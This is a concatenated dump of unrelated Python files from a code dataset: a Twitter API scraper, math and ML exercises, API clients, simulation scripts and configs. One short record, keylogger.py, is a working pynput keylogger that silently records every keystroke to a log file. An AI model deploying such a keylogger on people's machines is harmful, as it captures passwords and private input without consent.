to_name}\n chunks = zip(*[iter(lists)]*100)\n for _tuple in chunks:\n params[\"user_id\"] = \",\".join(_tuple)\n #r = config.twitter.post(url, params=params)\n r = config_.sessions[to_name][\"apps\"].post(url, params=params)\n print(\"add users to the list\")\n # status_check(r)\n time.sleep(1)\n return lists\n\ndef get_searched_tweets(max_id=config_.status_max, since_id=0, q=\"\"):\n url = \"https://api.twitter.com/1.1/search/tweets.json\"\n\n params = {\n \"q\": q + \" include:retweets filter:media max_id:{0} since_id:{1}\".format(max_id - 1, since_id + 1),\n \"tweet_mode\": \"extended\",\n \"include_entities\": \"true\",\n \"count\": 100,\n \"f\": \"tweets\",\n \"result_type\": \"mixed\"\n }\n\n #res = config_.twitter.get(url, params=params)\n res = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n tweets = json.loads(res.text)[\"statuses\"]\n print(len(tweets))\n\n latest_id = 0\n oldest_id = config_.status_max\n for tweet in tweets:\n tweet_id = tweet[\"id\"]\n if latest_id == 0:\n latest_id = tweet_id\n oldest_id = tweet_id\n process_tweet(tweet)\n print('----------------------------------------------------')\n return latest_id,oldest_id,res\n\ndef get_universal_searched_tweets(max_id=config_.status_max, since_id=0, q=\"\"):\n url = \"https://api.twitter.com/1.1/search/universal.json\"\n params = {\n \"q\": q + \" max_id:{0} since_id:{1}\".format(max_id-1,since_id+1),\n \"tweet_mode\": \"extended\",\n \"include_entities\": \"true\",\n \"count\": 100\n }\n res = config_.twitter.get(url, params=params)\n tweets = json.loads(res.text)[\"modules\"]\n print(len(tweets))\n\n latest_id = 0\n oldest_id = config_.status_max\n for tweet in tweets:\n if not \"status\" in tweet.keys():\n continue\n tweet = tweet[\"status\"][\"data\"]\n tweet_id = tweet[\"id\"]\n if latest_id < tweet_id:\n latest_id = tweet_id\n oldest_id = tweet_id\n process_tweet(tweet)\n print('----------------------------------------------------')\n\n return latest_id,oldest_id,res\n\ndef search_tweet(query):\n r = db.query.find_one({\"query\": query})\n universal_max = 0\n search_max = 0\n if r != None:\n if \"universal_max\" in r.keys():\n universal_max = r[\"universal_max\"]\n if \"search_max\" in r.keys():\n search_max = r[\"search_max\"]\n\n # universeal search\n print(\"# search/universal\")\n latest_id = 0\n max = config_.status_max\n since = universal_max\n while True:\n tmp, max, res = get_universal_searched_tweets(max_id=max, since_id=since, q = query + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.query.update({\"query\": query},\n {\"$set\": {\"universal_max\": latest_id}},True)\n print(db.query.find_one({\"query\": query}))\n\n # public api search\n print(\"# search/tweets\")\n latest_id = 0\n max = config_.status_max\n since = search_max\n while True:\n tmp, max, res = get_searched_tweets(max_id=max, since_id=since, q = query + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.query.update({\"query\": query},\n {\"$set\": {\"search_max\": latest_id}},True)\n print(db.query.find_one({\"query\": query}))\n\ndef get_tweets_from_user(user_id=0, screen_name=\"\"):\n if user_id != 0:\n r = db.users.find_one({\"_id\":user_id})\n if r == None:\n get_user_detail(user_id)\n r = db.users.find_one({\"_id\":user_id})\n screen_name = r[\"screen_name\"]\n elif len(screen_name) != 0:\n user_id = name2id(screen_name)\n get_user_detail(user_id)\n r = db.users.find_one({\"_id\":user_id})\n screen_name = r[\"screen_name\"]\n else:\n print(\"set argument, user_id or screen_name\")\n return\n\n # universeal search\n print(\"# search/universal\")\n latest_id = 0\n max = config_.status_max\n if \"universal_max\" in r.keys():\n since = r[\"universal_max\"]\n else:\n since = 0\n while True:\n tmp,max,res = get_universal_searched_tweets(max_id = max, since_id = since, q = \"from:\" + screen_name + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.users.update({\"_id\": user_id},\n {\"$set\":{\"universal_max\":latest_id}})\n print(db.users.find_one({\"_id\": user_id}))\n\n # public api search\n print(\"# search/tweets\")\n latest_id = 0\n max = config_.status_max\n if \"search_max\" in r.keys():\n since = r[\"search_max\"]\n else:\n since = 0\n while True:\n tmp,max,res = get_searched_tweets(max_id = max, since_id = since, q = \"from:\" + screen_name + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n res = db.users.update({\"_id\": user_id},\n {\"$set\":{\"search_max\":latest_id}})\n print(db.users.find_one({\"_id\": user_id}))\n\ndef get_list_timeline(screen_name, slug):\n url = \"https://api.twitter.com/1.1/lists/statuses.json\"\n max_id = config_.status_max\n latest_id = 0\n\n with open(\"{0}.{1}.txt\".format(screen_name,slug),\"r\") as f:\n since_id = int(f.readline())\n while True:\n # if True:\n params = {\n \"owner_screen_name\": screen_name, \n \"slug\": slug, \n \"since_id\": since_id + 1, \n \"max_id\": max_id - 1,\n \"count\": 200, \"tweet_mode\": \"extended\", \n \"include_rts\": \"true\"\n }\n try:\n res = config_.twitter.get(url, params=params)\n except Exception as e:\n print(e)\n time.sleep(10)\n continue\n\n # for key in res.headers.keys():\n # print(key + \" \" + res.headers[key])\n # print(time.time())\n # return\n tweets = json.loads(res.text)\n if isinstance(tweets,dict) and \"errors\" in tweets.keys():\n print(tweets)\n print(res.headers)\n wait_limit_reset(res)\n continue\n print(len(tweets))\n if len(tweets) < 1:\n break\n print()\n else:\n print(max_id)\n for tweet in tweets:\n max_id = tweet[\"id\"]\n if latest_id == 0:\n latest_id = max_id\n if \"retweeted_status\" in tweet.keys():\n tweet = tweet[\"retweeted_status\"]\n if \"quoted_status\" in tweet.keys():\n tweet = tweet[\"quoted_status\"]\n process_tweet(tweet)\n wait_limit_reset(res)\n print('----------------------------------------------------')\n if max_id != config_.status_max:\n with open(\"{0}.{1}.txt\".format(screen_name,slug),\"w\") as f:\n f.write(\"{0}\\n\".format(latest_id))\n return\n\ndef get_likes(screen_name):\n max_id = config_.status_max\n url = \"https://api.twitter.com/1.1/favorites/list.json\"\n params = {\"screen_name\": screen_name, \"count\": 200, \"tweet_mode\": \"extended\"}\n # ids = []\n while True:\n print('----------------------------------------------------')\n params[\"max_id\"] = max_id - 1\n # r = config_.twitter.get(url, params=params)\n print(url)\n print(params)\n try:\n r = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n except:\n return\n j = json.loads(r.text)\n if len(j) < 1:\n break\n for tweet in j:\n max_id = tweet[\"id\"]\n process_tweet(tweet)\n print(r.headers)\n wait_limit_reset(r)\n time.sleep(1)\n\nif __name__ == '__main__':\n print(\"twitter\")\n","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":17025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"324927935","text":"from sympy import * \nfrom sympy.integrals.transforms import laplace_transform,inverse_laplace_transform\nfrom sympy.simplify.fu import L\ns,L=symbols('s,L')\nt=symbols('t',positive=True)\ny0=0\ny10=0\nLy2=s**2*L-s*y0-y10\nLy1=s*L-y0\nLy=L\nalgeq=Eq(Ly2-4*Ly,laplace_transform(cos(t),t,s,noconds=True))\nprint(\"18MEC24006-DENNY JOHNSON P\")\nprint(algeq)\nalgsoln=solve(algeq,L)[0]\nprint(algsoln)\nsoln=inverse_laplace_transform(algsoln,s,t,noconds=True)\nprint(\"Solution:y(t)=\",soln)","sub_path":"MT6P2/EX8_3.py","file_name":"EX8_3.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"329839716","text":"import os\n\nmodel = 'RNN'\ndept_id = 'FOODS_1'\nstore_id = 'CA_1'\ntraining_years = '2013 2014 2015'\ntest_year = '2016'\ngroup_type = 'global'\nparams_file = './RNN_params.json'\nlog_path = '../log/M5_' +\\\n model + '_' +\\\n dept_id + '_' +\\\n store_id + '_' +\\\n test_year + '_' +\\\n group_type + '.txt'\n\nos.system(\n 'python ' +\\\n 'Run_M5.py ' +\\\n '--model ' + model + ' ' +\\\n '--dept_id ' + dept_id + ' ' +\\\n '--store_id ' + store_id + ' ' +\\\n '--training_years ' + training_years + ' ' +\\\n '--test_year ' + test_year + ' ' +\\\n '--group_type ' + group_type + ' ' +\\\n '--params_file ' + params_file\n)","sub_path":"src/M5_RNN_FOODS_1_CA_1_2016_global.py","file_name":"M5_RNN_FOODS_1_CA_1_2016_global.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"386138819","text":"from pynput.keyboard import Key, Listener\nimport logging\n\nlog_directory = \"keylogger/\"\nlogging.basicConfig(filename=(log_directory + \"log_results.txt\"), level=logging.DEBUG,\n format='%(asctime)s : %(message)s')\n\n\ndef keypress(Key):\n logging.info(str(Key))\n\n\nwith Listener(on_press=keypress) as listener:\n listener.join()\n","sub_path":"keylogger/keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"620192730","text":"import itertools\n\nif __name__ == '__main__':\n n = int(input())\n\n def calculate_binary(n, l=[]):\n if n > 0:\n remainder = n % 2\n l.append(remainder)\n quotient = n // 2\n return calculate_binary(quotient)\n else:\n for k, g in itertools.groupby(l):\n print(\"key: '{}'--> group: {}\".format(k, len(list(g))))\n return \"Test\"\n\n\n\n print(calculate_binary(n))\n\n\n# if __name__ == '__main__':\n# n = int(input())\n#\n# def calculate_binary(n, l=[]):\n# if n > 0:\n# remainder = n % 2\n# l.append(remainder)\n# quotient = n // 2\n# return calculate_binary(quotient)\n# else:\n# # print(''.join(map(str, l[::-1])))\n# return count_con(l, len(l))\n#\n#\n# def count_con(ar, len):\n# count = 1\n# for i in range(len - 1):\n# # If consecutive elements are same\n# if ar[i] == 1 and ar[i] == ar[i + 1]:\n# count += 1\n# return count\n#\n#\n# print(calculate_binary(n))\n#\n#\n","sub_path":"day10_binary_numbers_hr.py","file_name":"day10_binary_numbers_hr.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"206390567","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision.models as models\r\n\r\n\r\nclass EmbeddingNet(nn.Module):\r\n def __init__(self, n_channels, n_classes=2, n_vectors=2048, pretrained=True):\r\n super(EmbeddingNet, self).__init__()\r\n\r\n base_model = models.resnet50(pretrained=True)\r\n base_layers = list(base_model.children())\r\n\r\n if n_channels == 1:\r\n weights = base_layers[0].weight\r\n base_layers[0] = nn.Conv2d(1, 64, 7, stride=(2, 2), padding=(3, 3))\r\n base_layers[0].weight.data = torch.mean(weights, 1).unsqueeze(1)\r\n\r\n self.features = nn.Sequential(*base_layers[:-2])\r\n kernelCount = base_model.fc.in_features\r\n kernelCount2 = kernelCount\r\n if kernelCount2 > 2048:\r\n kernelCount2 = 2048\r\n self.fc = nn.Sequential(nn.Linear(kernelCount, kernelCount2),\r\n nn.Linear(kernelCount2, n_vectors),\r\n nn.Sigmoid())\r\n\r\n print(base_layers[0].weight.data.shape)\r\n print(list(self.features.children())[0])\r\n\r\n def forward(self, x):\r\n features = self.features(x)\r\n gaf = nn.AvgPool2d(features.shape[-1])\r\n out = gaf(features).squeeze()\r\n output = self.fc(out)\r\n\r\n return output\r\n\r\n def get_embedding(self, x):\r\n return self.forward(x)\r\n\r\n\r\nclass SiameseNet(nn.Module):\r\n def __init__(self, embedding_net):\r\n super(SiameseNet, self).__init__()\r\n self.embedding_net = embedding_net\r\n\r\n def forward(self, img1, img2):\r\n x = self.embedding_net(img1)\r\n x2 = self.embedding_net(img2)\r\n\r\n return x, x2\r\n\r\n def get_embedding(self, x):\r\n return self.embedding_net(x)\r\n\r\n\r\nclass TripletNet(nn.Module):\r\n def __init__(self, embedding_net):\r\n super(TripletNet, self).__init__()\r\n self.embedding_net = embedding_net\r\n\r\n def forward(self, img1, img2, img3):\r\n x = self.embedding_net(img1)\r\n x2 = self.embedding_net(img2)\r\n x3 = self.embedding_net(img3)\r\n\r\n return x, x2, x3\r\n\r\n def get_embedding(self, x):\r\n return self.embedding_net(x)\r\n\r\n","sub_path":"LManager/core/model/embeddingnet.py","file_name":"embeddingnet.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"507858714","text":"import os\nimport requests\nimport logging\nfrom dotenv import load_dotenv\nimport html\n\nfrom cache import cache, cache_list\nfrom datetime import datetime\nimport time\n\ncached_time = 26280000\n\nload_dotenv('.env')\n\nNTL_PARK_KEY = os.environ.get('NATLPARKS_KEY') #key stored in environment variable\nAPI_URL = 'https://developer.nps.gov/api/v1/parks'\n\n# Logger\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(message)s', datefmt='%d-%m-%y %H:%M:%S')\nlog = logging.getLogger('root')\n\n\ndef get_response(state_input):\n # Check if park_list is in cache; otherwise, make a request on the API\n # Indentifier for National Park API is \n cached_park_list = cache.fetch(state_input, cache_list.DataList)\n if cached_park_list:\n log.info('National Park API - Return from Cache')\n return cached_park_list\n else:\n log.info('National Park API - return from API call')\n \n try:\n query = {'stateCode': state_input, 'api_key': NTL_PARK_KEY}\n response = requests.get(API_URL, params=query)\n response.raise_for_status() # will raise an exception for 400(client) or 500(server) errors\n data = response.json()\n park_list = get_info(data)\n #send to the cache the park list(data), identifier(state_input) and expiry\n natlParks_data_list_for_cache = cache_list.DataList(park_list, state_input, now_plus_expiry())\n\n cache.add(natlParks_data_list_for_cache)\n return park_list\n except requests.exceptions.HTTPError as e:\n log.exception(e)\n raise e\n except Exception as ex:\n log.exception(ex)\n raise ex\n\n\ndef get_info(data):\n try:\n park_list = list()\n list_of_parks = data['data']\n for park in list_of_parks:\n park_list_w_info = dict()\n\n if park['fullName'] and park['latitude'] and park['longitude']:\n modified_name = html.unescape(park['fullName'])\n park_list_w_info['name'] = modified_name\n park_list_w_info['lat'] = park['latitude'] \n park_list_w_info['lon'] = park['longitude'] \n \n if park['designation']:\n park_list_w_info['designation'] = park['designation']\n if park['addresses']:\n park_list_w_info['city'] = park['addresses'][0]['city']\n\n park_list.append(park_list_w_info)\n return park_list\n \n except Exception as e:\n log.exception(e)\n raise e\n\n\ndef now_plus_expiry():\n now = int(time.time())\n return now + cached_time\n","sub_path":"application/api_calls/natlParks_api.py","file_name":"natlParks_api.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"388363668","text":"#!/usr/bin/env python\n\nfrom __future__ import division\nimport jlabd\njlabd.init()\nfrom jlab import *\n\n#This script simulates the xy evolution of nuclear spin\n#Hence the vector is in 2D only. spin-lattice relaxation\n#is not implemented\n\ndef vec2agl(vec):\n r = vec[1] / vec[0]\n tt = abs(r)\n phi = angle(r)\n theta = arctan(tt) * 2\n\n return [phi, theta]\n\ndef agl2vec(agl):\n phi, theta = agl\n return [cos(theta / 2) * exp(-1j * phi / 2),\n sin(theta / 2) * exp(1j * phi / 2)]\n\ndef vecprop(vec, p):\n #implements larmor rotation\n return [vec[0] * exp(1j * p / 2),\n vec[1] * exp(-1j * p / 2)]\n\ndef aglprop(agl, p):\n return vec2agl(vecprop(agl2vec(agl), p))\n\ndef vecpulse(vec, p):\n #implements rotation caused by a pulse\n C = cos(p / 2)\n iS = 1j * sin(p / 2)\n return [vec[0] * C + vec[1] * iS,\n vec[0] * iS + vec[1] * C]\n\ndef aglpulse(agl, p):\n return vec2agl(vecpulse(agl2vec(agl), p))\n\ndef vecpi(vec):\n return vecpulse(vec, pi)\n\ndef aglpi(agl):\n return aglpulse(agl, pi)\n\ndef vecpi2(vec):\n return vecpulse(vec, pi / 2)\n\ndef aglpi2(agl):\n return aglpulse(agl, pi / 2)\n\ndef draw_ball(ax):\n phis = r_[0:2 * pi:200j]\n thetas = r_[0:pi:7j]\n for theta in thetas:\n ax.plot(sin(theta) * cos(phis), sin(theta) * sin(phis), cos(theta), 'b')\n phis = r_[0:2 * pi:7j]\n thetas = r_[0:pi:200j]\n for phi in phis:\n ax.plot(sin(thetas) * cos(phi), sin(thetas) * sin(phi),\n cos(thetas), 'b')\n\ndef drawagls(agls, name):\n phis = agls[0]\n thetas = agls[1]\n from mpl_toolkits.mplot3d import Axes3D\n fig = figure()\n ax = fig.add_subplot(111, projection='3d')\n title(name)\n draw_ball(ax)\n ax.plot(sin(thetas) * cos(phis), sin(thetas) * sin(phis), cos(thetas), 'og')\n savefig(name)\n\ndef sim(t1=2, tau=None, T=20, l=10000, repeat_num=7, omegamin=7000,\n omegamax=7010, pi2=pi / 2, pu1=None, pu2=None, fmt=\"pdf\"):\n #T = length of waiting time\n #t1 = tau\n #tau = timestep\n #l = number of omegas\n #repeat_num = number of repeated pulse sequences\n #(e.g. of 1 sequence = pi/2-tau-pi)\n if tau == None:\n tau = t1 / 20\n if pu1 == None:\n pu1 = pi2\n if pu2 == None:\n pu2 = pi2 * 2\n\n #number of markers in one step\n #i.e. interesting time count\n itc = 4\n\n omegas = r_[omegamin:omegamax:1j * l]\n angles = zeros([l, 2])\n tlst1 = arange(0, t1, tau)\n tlst2 = arange(0, T, tau)\n i3 = int(t1 / tau)\n i4 = int(2 * t1 / tau)\n lt = (3 + len(tlst1) + len(tlst2)) * repeat_num #total number of points\n l2 = len(tlst2)\n ts = zeros(lt) #array of times\n it = zeros(itc * repeat_num) #interesting time\n t = 0\n k = -1\n phis = zeros([l, lt])\n thetas = zeros([l, lt])\n for step in range(0, repeat_num):\n print(\"Step %d.\" % step)\n it[itc * step:itc * (step + 1)] = arange(itc) * t1 + t\n k += 1\n ts[k] = t\n print(\"\\tBefore 90.\")\n for i in range(0, l):\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_b90_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n k += 1\n ts[k] = t\n print(\"\\tAfter 90\")\n for i in range(0, l):\n angles[i] = aglpulse(angles[i], pu1)\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_a90_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n\n print(\"\\tBefore 180.\")\n for dt in tlst1:\n k += 1\n ts[k] = t + dt\n for i in range(0, l):\n angles[i] = aglprop(angles[i], tau * omegas[i])\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_b180_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n t += t1\n k += 1\n ts[k] = t\n print(\"\\tAfter 180.\")\n for i in range(0, l):\n angles[i] = aglpulse(angles[i], pu2)\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_a180_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n\n print(\"\\tWaiting.\")\n for j in range(l2):\n dt = tlst2[j]\n if j in [i3, i4]:\n j0 = 3 if j == i3 else 4\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_t%d_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, j0, step, fmt))\n\n k += 1\n ts[k] = t + dt\n for i in range(0, l):\n angles[i] = aglprop(angles[i], tau * omegas[i])\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n t += T\n\n # figure()\n # for i in range(0, l):\n # plot(ts, phis[i])\n # plot(ts, [0] * len(ts), 'o')\n # title(r\"$\\phi$\")\n # figure()\n # for i in range(0, l):\n # plot(ts, thetas[i])\n # plot(ts, [0] * len(ts), 'o')\n # title(r\"$\\theta$\")\n figure()\n xs = (sin(thetas) * cos(phis)).mean(axis=0)\n ys = (sin(thetas) * sin(phis)).mean(axis=0)\n rs = sqrt(xs**2 + ys**2)\n plot(ts, rs)\n plot(it, [0] * len(it), 'o')\n title(r\"Signal\")\n savefig(\"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax, pu1 / pi * 2,\n pu2 / pi * 2, fmt))\n close()\n\n@automain\ndef main():\n sim(pu2=0, fmt='png')\n #sim(repeat_num=5, fmt='png')\n #sim(pi2=pi / 2 - .2, repeat_num=2, T=40)\n #for pi2 in r_[pi / 2 - .2:pi / 2 + .2:10j]:\n # sim(pi2=pi2)\n","sub_path":"nmr/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":6134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"300927538","text":"from DataBase.db_by_python import ToMysqlByPython\nfrom Race.get_race_data import Races\nfrom ExcuteProcess.race.data import Datas\nfrom ExcuteProcess.race.process import SearchRacesProcess\nfrom ExcuteProcess.race.process import RaceDetailsProcess\nfrom StringWords.ather import Message\nfrom logs.log_write import Logs\n\n\ndef main():\n\n logs = Logs()\n logs.write_start()\n sql = ToMysqlByPython()\n OBJECT_MYSQL, connection_result = sql.connects()\n\n if connection_result is True:\n print(Message.success_connection)\n logs.write_message(Message.success_connection)\n else:\n print(Message.error_connection)\n logs.write_message(Message.error_connection)\n return\n\n year_1986_to_2020 = Datas.year_range_1986_to_2020\n print(year_1986_to_2020)\n month_1_to_12 = Datas.month_range_1_to_12\n print(month_1_to_12)\n jyo_1_to_10 = Datas.jyo_range_1_to_10\n print(jyo_1_to_10)\n url = \"https://db.netkeiba.com/?pid=race_search_detail\"\n race_list = SearchRacesProcess(url, OBJECT_MYSQL)\n for year in year_1986_to_2020:\n for month in month_1_to_12:\n for jyo in jyo_1_to_10:\n race_list.set_search_info(year, month, jyo)\n race_urls = race_list.get_data()\n # テストprint\n if race_urls is not None:\n for url in race_urls:\n if url is not None:\n print(url)\n race_details_process = RaceDetailsProcess(url, OBJECT_MYSQL)\n race_details_process.get_data()\n # Racesへ登録処理\n day_at_race, place_id, times, day, name = race_details_process.get_race_info()\n class_id = race_details_process.get_class()\n type_id, distance_id, weather_id = race_details_process.get_race_status()\n race_details_process.sql_process_race(\n name, class_id, day_at_race,\n place_id, day, weather_id, distance_id, type_id)\n\n for horse_url in race_details_process.get_horses():\n print(horse_url)\n details = race_details_process.edit_race_details(\n race_details_process.get_race_detail()\n )\n for detail in details:\n race_details_process.sql_process_race_details(detail)\n refund_detail = race_details_process.get_refund()\n race_details_process.sql_process_betting_detail(refund_detail)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Race/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"343028744","text":"from django.db import connection\nfrom django.views.generic import ListView\n\nfrom charts.models import CurrencyValue, Trade\n\n\nclass TradeValueTable(ListView):\n model = Trade\n ordering = '-date_time'\n paginate_by = 50\n\n def get_context_data(self, **kwargs):\n context = super(TradeValueTable, self).get_context_data(**kwargs)\n new_object_list = []\n for trade in context['object_list']:\n if not trade.date_time:\n continue\n\n trade.adjusted_amount = trade.amount\n trade.quote_price = 1\n if trade.pair.quote_currency.get_usd_value:\n closest_value = CurrencyValue.objects.get_closest_to(\n trade.pair.quote_currency,\n trade.date_time\n ).usd_value\n trade.quote_price = closest_value\n if trade.amount and closest_value:\n trade.adjusted_amount = trade.amount * closest_value\n\n trade.adjusted_rate = trade.rate\n trade.adjusted_total = trade.total\n trade.base_price = 1\n if trade.pair.base_currency.get_usd_value:\n closest_value = CurrencyValue.objects.get_closest_to(\n trade.pair.base_currency,\n trade.date_time\n ).usd_value\n trade.base_price = closest_value\n if trade.rate and closest_value:\n trade.adjusted_rate = trade.rate * closest_value\n if trade.total and closest_value:\n trade.adjusted_total = trade.total * closest_value\n\n new_object_list.append(trade)\n\n context['object_list'] = new_object_list\n context['chain'] = connection.tenant\n return context\n","sub_path":"charts/views/trade_value_table.py","file_name":"trade_value_table.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"569414530","text":"#! python3\n# how much can i spend today?!\n\n\nhouse = 280000\ndays = 30\n\n\nbalance = int(input('Enter your present amount of money: \\n'))\ncash = int(input('Do you have cash? how much: \\n'))\ntoday = int(input('Enter today\\'s day: '))\ns_other = 0\nother = int(input('Enter your\\'s other expenses\\n'))\nwhile other:\n s_other += other\n other = int(input('One more?\\n'))\n\ntotal = (balance - house - s_other + cash)/(days-today)\n\nprint('Well you cans spend today - ' + str(total))\n","sub_path":"hohoo/hohoo.py","file_name":"hohoo.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"456993770","text":"import logging\nimport os\nimport sys\n\nsys.path.append('../../../')\n\n# создаём формировщик логов (formatter):\nclient_formatter = logging.Formatter('%(asctime)s %(levelname)s %(filename)s %(message)s')\n\n# Подготовка имени файла для логирования\npath = os.path.dirname(os.path.abspath(__file__))\npath = os.path.join(path, 'client.log')\n\n# создаём потоки вывода логов\nsteam = logging.StreamHandler(sys.stderr)\nsteam.setFormatter(client_formatter)\nsteam.setLevel(logging.ERROR)\nlog_file = logging.FileHandler(path, encoding='utf8')\nlog_file.setFormatter(client_formatter)\n\n# создаём регистратор и настраиваем его\nclient_log = logging.getLogger('client_log')\nclient_log.addHandler(steam)\nclient_log.addHandler(log_file)\nclient_log.setLevel(logging.DEBUG)\n\n# отладка\nif __name__ == '__main__':\n client_log.critical('Test critical event')\n client_log.error('Test error ivent')\n client_log.debug('Test debug ivent')\n client_log.info('Test info ivent')","sub_path":"сhatclient/Log/client_log_config.py","file_name":"client_log_config.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"132108840","text":"import os\n\nconfig = \"\"\"\n[application]\nenable-perf-measurement=0\nperf-measurement-interval-sec=10000000\n#gie-kitti-output-dir=streamscl\n\n[tiled-display]\nenable=0\nrows=1\ncolumns=1\nwidth=1280\nheight=720\ngpu-id=0\n\n[source0]\nenable=1\n#Type - 1=CameraV4L2 2=URI 3=MultiURI\ntype=3\nnum-sources=1\nuri={uri}\nlatency={latency}\ngpu-id=0\n\n[streammux]\ngpu-id=0\nbatch-size={batch}\nbatched-push-timeout=1000\n## Set muxer output width and height\nwidth={width}\nheight={height}\ncuda-memory-type=1\n\n[sink0]\nenable=1\n#Type - 1=FakeSink 2=EglSink 3=File 4=RTSP Streaming\ntype=4\nsync=0\nsource-id=0\ngpu-id=0\ncodec=1\nbitrate={bitrate}\ncuda-memory-type=1\nrtsp-port={outstream_port}\n\n[osd]\nenable=1\ngpu-id=0\nborder-width=1\ntext-size=15\ntext-color=1;1;1;1;\ntext-bg-color=0.3;0.3;0.3;1\nfont=Arial\nshow-clock=0\nclock-x-offset=800\nclock-y-offset=820\nclock-text-size=12\nclock-color=1;0;0;0\n\n[primary-gie]\nenable=1\ngpu-id=0\nbatch-size={batch}\ngie-unique-id=1\ninterval=0\nlabelfile-path=labels.txt\nmodel-engine-file=/model/openpose_int8.trt\nconfig-file=config_infer_primary_Openpose.txt\n\"\"\"\n\nconfig2 = \"\"\"\n[property]\ngpu-id=0\nnet-scale-factor=1\n#0=RGB, 1=BGR\nmodel-color-format=0\nmodel-engine-file=openpose_int8.trt\nbatch-size={batch}\n## 0=FP32, 1=INT8, 2=FP16 mode\nnetwork-mode=1\nnum-detected-classes=21\ninterval=0\ngie-unique-id=1\nparse-func=0\nis-classifier=0\noutput-blob-names=Openpose/concat_stage7\nparse-bbox-func-name=NvDsInferParseCustomOpenPose\ncustom-lib-path=nvdsinfer_openpose/libnvdsinfer_openpose.so\n\n[class-attrs-all]\nthreshold=0.5\n#eps=0.1\n#group-threshold=2\nroi-top-offset=0\nroi-bottom-offset=0\ndetected-min-w=0\ndetected-min-h=0\ndetected-max-w=0\ndetected-max-h=0\n\"\"\"\n\nif __name__ == \"__main__\":\n uri = os.environ[\"INPUT_URI\"]\n batch = os.environ.get(\"BATCH_SIZE\")\n \n bitrate = os.environ.get(\"BITRATE\")\n bitrate = bitrate if bitrate is not None else 10000\n\n outstream_port = os.environ.get(\"OUTSTREAM_PORT\")\n outstream_port = outstream_port if outstream_port is not None else 1234\n\n latency = os.environ.get(\"LATENCY\")\n latency = latency if latency is not None else 200\n\n width = os.environ.get(\"OUTPUT_WIDTH\")\n width = width if width is not None else 800\n\n height = os.environ.get(\"OUTPUT_HEIGHT\")\n height = height if height is not None else 600\n\n with open(\"../openpose_config.txt\", mode = \"a\") as f:\n f.write(\n config.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n )\n )\n print(config.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n 